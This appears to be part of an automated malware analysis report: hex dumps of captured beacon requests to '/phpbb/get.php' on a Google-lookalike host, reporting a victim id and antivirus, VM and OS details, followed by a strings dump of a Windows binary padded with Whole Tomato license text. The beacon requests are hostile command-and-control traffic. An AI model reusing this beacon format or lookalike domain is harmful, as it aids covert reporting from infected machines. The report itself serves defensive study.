0x00000020 (00032)   37354530 36465858 58585858 58585858   75E06FXXXXXXXXXX
0x00000030 (00048)   58583030 3030266b 65793d32 32353626   XX0000&key=2256&
0x00000040 (00064)   61763d30 26766d3d 3026616c 3d302670   av=0&vm=0&al=0&p
0x00000050 (00080)   3d333926 6f733d35 2e312e32 3630302e   =39&os=5.1.2600.
0x00000060 (00096)   33267a3d 34353826 68617368 3d437643   3&z=458&hash=CvC
0x00000070 (00112)   6e426a56 6a38494f 4d333341 394c664f   nBjVj8IOM33A9LfO
0x00000080 (00128)   4764426b 6e6a7939 61577a41 4a464538   GdBknjy9aWzAJFE8
0x00000090 (00144)   4a783772 48745554 37765a36 317a6757   Jx7rHtUT7vZ61zgW
0x000000a0 (00160)   79673246 6d2b7673 596b7235 6b316852   yg2Fm+vsYkr5k1hR
0x000000b0 (00176)   3461496d 56763474 4a6a446a 6a63435a   4aImVv4tJjDjjcCZ
0x000000c0 (00192)   3634716a 48743237 51493938 6e204854   64qjHt27QI98n HT
0x000000d0 (00208)   54502f31 2e310d0a 486f7374 3a20616e   TP/1.1..Host: an
0x000000e0 (00224)   616c7973 74696373 2e676f6f 676c652e   alystics.google.
0x000000f0 (00240)   636f6d0d 0a0d0a                       com....

0x00000000 (00000)   47455420 2f706870 62622f67 65742e70   GET /phpbb/get.p
0x00000010 (00016)   68703f69 643d4330 35393930 30414541   hp?id=C059900AEA
0x00000020 (00032)   37354530 36465858 58585858 58585858   75E06FXXXXXXXXXX
0x00000030 (00048)   58583030 3030266b 65793d32 32353626   XX0000&key=2256&
0x00000040 (00064)   61763d30 26766d3d 3026616c 3d302670   av=0&vm=0&al=0&p
0x00000050 (00080)   3d333926 6f733d35 2e312e32 3630302e   =39&os=5.1.2600.
0x00000060 (00096)   33267a3d 34353826 68617368 3d437643   3&z=458&hash=CvC
0x00000070 (00112)   6e426a56 6a38494f 4d333341 394c664f   nBjVj8IOM33A9LfO
0x00000080 (00128)   4764426b 6e6a7939 61577a41 4a464538   GdBknjy9aWzAJFE8
0x00000090 (00144)   4a783772 48745554 37765a36 317a6757   Jx7rHtUT7vZ61zgW
0x000000a0 (00160)   79673246 6d2b7673 596b7235 6b316852   yg2Fm+vsYkr5k1hR
0x000000b0 (00176)   3461496d 56763474 4a6a446a 6a63435a   4aImVv4tJjDjjcCZ
0x000000c0 (00192)   3634705a 51357655 57326565 50204854   64pZQ5vUW2eeP HT
0x000000d0 (00208)   54502f31 2e310d0a 486f7374 3a20616e   TP/1.1..Host: an
0x000000e0 (00224)   616c7973 74696373 2e676f6f 676c652e   alystics.google.
0x000000f0 (00240)   636f6d0d 0a0d0a                       com....

0x00000000 (00000)   47455420 2f706870 62622f67 65742e70   GET /phpbb/get.p
0x00000010 (00016)   68703f69 643d4330 35393930 30414541   hp?id=C059900AEA
0x00000020 (00032)   37354530 36465858 58585858 58585858   75E06FXXXXXXXXXX
0x00000030 (00048)   58583030 3030266b 65793d32 32353626   XX0000&key=2256&
0x00000040 (00064)   61763d30 26766d3d 3026616c 3d302670   av=0&vm=0&al=0&p
0x00000050 (00080)   3d333926 6f733d35 2e312e32 3630302e   =39&os=5.1.2600.
0x00000060 (00096)   33267a3d 34353826 68617368 3d437643   3&z=458&hash=CvC
0x00000070 (00112)   6e426a56 6a38494f 4d333341 394c664f   nBjVj8IOM33A9LfO
0x00000080 (00128)   4764426b 6e6a7939 61577a41 4a464538   GdBknjy9aWzAJFE8
0x00000090 (00144)   4a783772 48745554 37765a36 317a6757   Jx7rHtUT7vZ61zgW
0x000000a0 (00160)   79673246 6d2b7673 596b7235 6b316852   yg2Fm+vsYkr5k1hR
0x000000b0 (00176)   3461496d 56763474 4a6a446a 6a63435a   4aImVv4tJjDjjcCZ
0x000000c0 (00192)   36347172 43647066 496a686c 65204854   64qrCdpfIjhle HT
0x000000d0 (00208)   54502f31 2e310d0a 486f7374 3a20616e   TP/1.1..Host: an
0x000000e0 (00224)   616c7973 74696373 2e676f6f 676c652e   alystics.google.
0x000000f0 (00240)   636f6d0d 0a0d0a                       com....


Strings
P.rsrcVuritorlatratce
\
.CC
 
Q
..
..
._
K

041904E3
1%Xu
7.12.26.3
BINARY	COPYRIGHT
                                 H
         (((((                  H
         h((((                  H
Internal
Internal.exe
kernel32.dll
KERNEL32.DLL
leDescription
MAINACC	SLIPUPACC
mpanyName
mscoree.dll
MS Shell Dlg
NPENCODINGDIALOG
nternal.exe
oICON1
ProductVersion
ringFileInfo
Translation
({u>
VarFileInfo
_VERSION_INFO
                          
! ,$&&'
&*$#$$#$*
 !"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\]^_`abcdefghijklmnopqrstuvwxyz{|}~
 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~
 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~
0A@@Ju
0SSSSS
0WIG>2
(\[~1;
.111,,,@Tf
1M&:zB
 1vX,#
1W2@22p7=W
2/e<=2m
2~hbrq_^P3-.
2{@KtT
3W2r02p
4bbbUTK
*4\?d,
~||{4ncTK
4~q{Zz\
4TTTTTAWK-
6W2j52p
`"{7`6
7~*67~#
78;4O`
}83G1v
8877666.,,,&&&1TU
8n(&jy:
999877766mv.,0A@UTTTU
9*p/,w
(9t[70
9%?z$6
A5x-{!
abcdefghijklmnopqrstuvwxyz
ABCDEFGHIJKLMNOPQRSTUVWXYZ
AH[qzz
AIH$+#
An application has made an attempt to load the C runtime library incorrectly.
[ATLf<
- Attempt to initialize the CRT more than once.
- Attempt to use MSIL code from this assembly during native code initialization
August
B|0gih
B'1l98&
BeginPaint
b]gB,t
bKBMYf
|BPGbmv
{bq<!0m
bu98KR'e
C#&eN*
	Cf m+
!"`c-G
CMGGPc
CorExitProcess
credui.dll
CredUIParseUserNameA
- CRT not initialized
@.data
_D`B9y
DDD.;;;11ATW
dddd, MMMM dd, yyyy
December
DecodePointer
DefWindowProcA
DeleteCriticalSection
D]h@MMM)MMM
DISCLAIMER OF WARRANTY. THE SOFTWARE, AND ANY SERVICES THAT YOU RECEIVE FROM WHOLE TOMATO ARE PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND. WHOLE TOMATO HEREBY DISCLAIMS ALL EXPRESS OR IMPLIED WARRANTIES, INCLUDING WITHOUT LIMITATION WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, AND NON-INFRINGEMENT. THIS DISCLAIMER OF WARRANTY CONSTITUTES AN ESSENTIAL PART OF THIS AGREEMENT. SOME STATES DO NOT ALLOW EXCLUSIONS OF AN IMPLIED WARRANTY, SO THIS DISCLAIMER MAY NOT APPLY TO YOU AND YOU MAY HAVE OTHER LEGAL RIGHTS THAT VARY FROM STATE TO STATE OR BY JURISDICTION. 
DOMAIN error
dRzSGv0
eC8>=Pb
ELC2?3
el{z +
EncodePointer
EnterCriticalSection
ExitProcess
EXPORT CONTROLS. You shall comply with all export laws and restrictions and regulations of the Department of Commerce, the United States Department of Treasury Office of Foreign Assets Control ("OFAC"), or other United States or foreign agency or authority, and not to export, or allow the export or re-export of the Software in violation of any such restrictions, laws or regulations (including, without limitation, export or re-export to destinations prohibited either in Country Groups Q, S, W, Y or Z country specified in the then current Supplement No. 1 to Section 770 of the U.S. Export Administration Regulations (or any successor supplement or regulations), or the OFAC regulations found at 31 C.F.R. 500 et seq.). By installing or using the Software, you are agreeing to the foregoing and you are representing and warranting that you are not located in, under the control of, or a national or resident of any restricted country or on any such list. 
ezst^(a6@@j
!fDIsp
February
 ?FethO
F\f=7A
FFEEEDD
ffffffff
ffffffffffff`
- floating point support not loaded
FlsAlloc
FlsFree
FlsGetValue
FlsSetValue
F)_#nDS
FreeEnvironmentStringsA
FreeEnvironmentStringsW
Friday
F*rx4Fg
&G":%"`
G"\ "`5
GetACP
GetActiveWindow
GetClientRect
GetCommandLineA
GetCPInfo
GetCurrentProcess
GetCurrentProcessId
GetCurrentThreadId
GetEnvironmentStrings
GetEnvironmentStringsW
GetFileType
GetLastActivePopup
GetLastError
GetLocaleInfoA
GetModuleFileNameA
GetModuleHandleW
GetOEMCP
GetProcAddress
GetProcessWindowStation
GetStartupInfoA
GetStdHandle
GetStringTypeA
GetStringTypeW
GetSystemMetrics
GetSystemTimeAsFileTime
GetTickCount
GetUserDefaultLangID
GetUserObjectInformationA
GetVersion
/GGGHITf
g,K# u
g[mnSX
G;Mtg\
gQccUN
gRa``]]z
gwwwwwwwwwwww`wwww
.GxkB?
(H.5BN
>H5N)r
.HC;9FgS
HeapAlloc
HeapCreate
HeapFree
HeapReAlloc
HeapSize
HFb@K# 
HH:mm:ss
H%/J;6n
i@0d<rL8
I{IPw\[{z
InitializeCriticalSectionAndSpinCount
InterlockedDecrement
InterlockedIncrement
IsDebuggerPresent
IsValidCodePage
.:;;;;ITf
\|[IuH[
JanFebMarAprMayJunJulAugSepOctNovDec
January
#jcF&u
j@j ^V
k7/4/;PT
KERNEL32.dll
)@+K=F
kT%sia6
Kx?NrA;Cm+
K_Z1"H9,
l05u#>
L5'?)"""#
L5'%""#"$
l8SQ&L
Last modified: May
LCMapStringA
LCMapStringW
LeaveCriticalSection
L$~>G&
Lg$PP;^
LIMITATION OF LIABILITY. You assume the entire risk as to the quality and performance of the Software. Whole Tomato assumes no liability for the cost of any service or repair if the Software is defective 
LlKQeH+
lllkkkjj/bbQQTV
LoadIconW
LoadLibraryA
LoadStringW
{lP*=`r
LRI?9\
lstrcmpiA
m\.1,,,,,2TW
M ];"2
m`+b utJ
MessageBoxA
Microsoft Visual C++ Runtime Library
=.$[ML
mmdBEO]_
MM/dd/yy
MMM3MMM
MMM7MMM
MMM9MMMxMMM
MMMAMMMNMMMKMMMFMMM@MMM7MMM,MMM!MMM
MMMBMMM
MMMdMMM"MMM
MMMdMMM(MMM
MMMFMMM
MMMJMMM
MMMjMMM>MMM*MMM
MMMjMMMXMMMLMMMAMMM4MMM%MMM
MMMkMMMXMMMLMMMBMMM2MMM
MMMlMMM'MMM
MMM^MMM
MMM=MMM
MMM:MMM
MMM?MMM
MMM	MMM
MMM|MMM4MMM
MMMmMMM'MMM
MMMnMMM(MMM
MMMQMMM
MMMrMMMaMMMQMMMDMMM9MMM,MMM
MMMrMMMKMMM
MMMrMMM`MMMRMMMFMMM:MMM.MMM"MMM
MMMSMMM
MMMsMMM+MMM	MMM
MMMtMMM+MMM	MMM
MMMWMMM
MMMYMMM
MMMyMMMfMMMVMMMKMMM@MMM2MMM%MMM
MMMyMMM/MMM
MMMzMMMKMMM
Monday
	M;]Pi/m}
M^tD=D9
MultiByteToWideChar
mVLP}\U
MW\M9>
n0W*^o
#	N6Se
nLLLLZk7/5--Pb
,. nNnF{
- not enough space for arguments
- not enough space for environment
- not enough space for locale information
- not enough space for lowio initialization
- not enough space for _onexit/atexit table
- not enough space for stdio initialization
- not enough space for thread data
November
nuk{safe4.
n~~~~~~~~v
n~~~~~~~~~~~~v
n~~~~~~~~~~~~w`
n~~~~~~~~~~~~w`w
nwwwwwwww`ww
n~~~~~~~~~~~~w`x
nzNi'0
O98gV&
oaaaa_ep
October
OFFEEEDDDD.111111RU
oftware). 
oN]JNW^
onYL!K
=PjpgC
PKPI4:d
Please contact the application's support team for more information.
pn~~~~
&PO{K"
~~~p~p
PPPPPPPP
Program: 
<program name unknown>
pS7R&QR
- pure virtual function call
PUVE@{T)p
Q> 6e7
q{Bja3
/QGGGRT
Qns[5W
QueryPerformanceCounter
Qz,o>{c
R7RZQR
`.rdata
+RDm<C
:rd{Xe
Ro```]]
@rS%|}.
RtlUnwind
runtime error 
Runtime Error!
rX+%"/
rZ8oWFFWwwvvC:QQQRa'
Saturday
September
SetHandleCount
SetLastError
SetUnhandledExceptionFilter
sg\p%M:
SING error
=SOFTu
SOFTWARE LICENSE AGREEMENT
Ss^Ya_
=s@T	>TW7
Sunday
SunMonTueWedThuFriSat
sYR|nyywwx
TerminateProcess
TERMINATION. Whole Tomato may, at its sole discretion, terminate this Agreement, the license granted herein, and your right to use or access the Software at any time. On termination, you must destroy all copies of the Software. 
This application has requested the Runtime to terminate it in an unusual way.
This indicates a bug in your application.
This indicates a bug in your application. It is most likely the result of calling an MSIL-compiled (/clr) function from a native constructor or from DllMain.
!This program cannot be run in DOS mode.
tho>gi
Thursday
< tK<	tG
TLOSS error
TlsAlloc
TlsFree
TlsGetValue
TlsSetValue
tnnTTi
%t_onW)
toobRTi
t"SS9]
^}}|tt
t$<"u	3
Tuesday
;t$,v-
t+WWVPV
|tyg,1
U{|],.
ugjX;B
UK`n%w
- unable to initialize heap
- unable to open console device
UNDER NO CIRCUMSTANCES AND UNDER NO LEGAL THEORY, TORT, CONTRACT, STRICT LIABILITY, OR OTHERWISE, SHALL WHOLE TOMATO OR ITS LICENSORS, SUPPLIERS OR RESELLERS BE LIABLE TO YOU OR ANY OTHER PERSON FOR ANY INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES OF ANY CHARACTER INCLUDING, WITHOUT LIMITATION, DAMAGES FOR LOST PROFITS, LOSS OF GOODWILL, WORK STOPPAGE, COMPUTER FAILURE OR MALFUNCTION, OR ANY AND ALL OTHER COMMERCIAL DAMAGES OR LOSSES. IN NO EVENT WILL WHOLE TOMATO BE LIABLE FOR ANY DAMAGES IN EXCESS OF WHOLE TOMATO'S LIST PRICE FOR A LICENSE TO THE SOFTWARE, EVEN IF WHOLE TOMATO SHALL HAVE BEEN INFORMED OF THE POSSIBILITY OF SUCH DAMAGES, OR FOR ANY CLAIM BY ANY OTHER PARTY. THIS LIMITATION OF LIABILITY SHALL NOT APPLY TO LIABILITY FOR DEATH OR PERSONAL INJURY TO THE EXTENT APPLICABLE LAW PROHIBITS SUCH LIMITATION. FURTHERMORE, SOME STATES DO NOT ALLOW THE EXCLUSION OR LIMITATION OF INCIDENTAL OR CONSEQUENTIAL DAMAGES, SO THIS LIMITATION AND EXCLUSION MAY NOT APPLY TO YOU. 
- unexpected heap error
- unexpected multithread lock error
UnhandledExceptionFilter
UQLXQ.g
UQPXY]Y[
URPQQh
#usD(M
USER32.dll
USER32.DLL
UTlZMSK
uuu4nncTK
U<x*!n?
~~~~~~~~~~~~v
VBNetStudio
~vfffffff~~~v
VirtualAlloc
VirtualFree
V`mdRQJ"& 
v	N+D$
[vt;2#
~~~~~~~w`
)'w$}}
|WduMp
Wednesday
WFFFFW,)---<^
,w\I20
WideCharToMultiByte
w,)-**>R
WriteFile
.wt[30
 W|%'V\
~~~~~~~w`w
Wwma`l
wwwwwwwww
wwwwwwwwww
WZlcsp
XL\[FGE
xlllkkkjj
XRG???
	~xUz:N
XvHP~o_}!
XVrP[30
Y3+)"""#
`Y5L^_
{]y@6d
YRIPPPF
YsFw"(
>=Yt1j
~~||{yy4naTV
||{yywuuuuu4oooTV
{yywwu
ZkZz}b>,e
z>]N?@5
z_____/VK<-
zW|	^X
ZZZNN/HHHHJTW
][[[ZZZNNOO/HH::;UU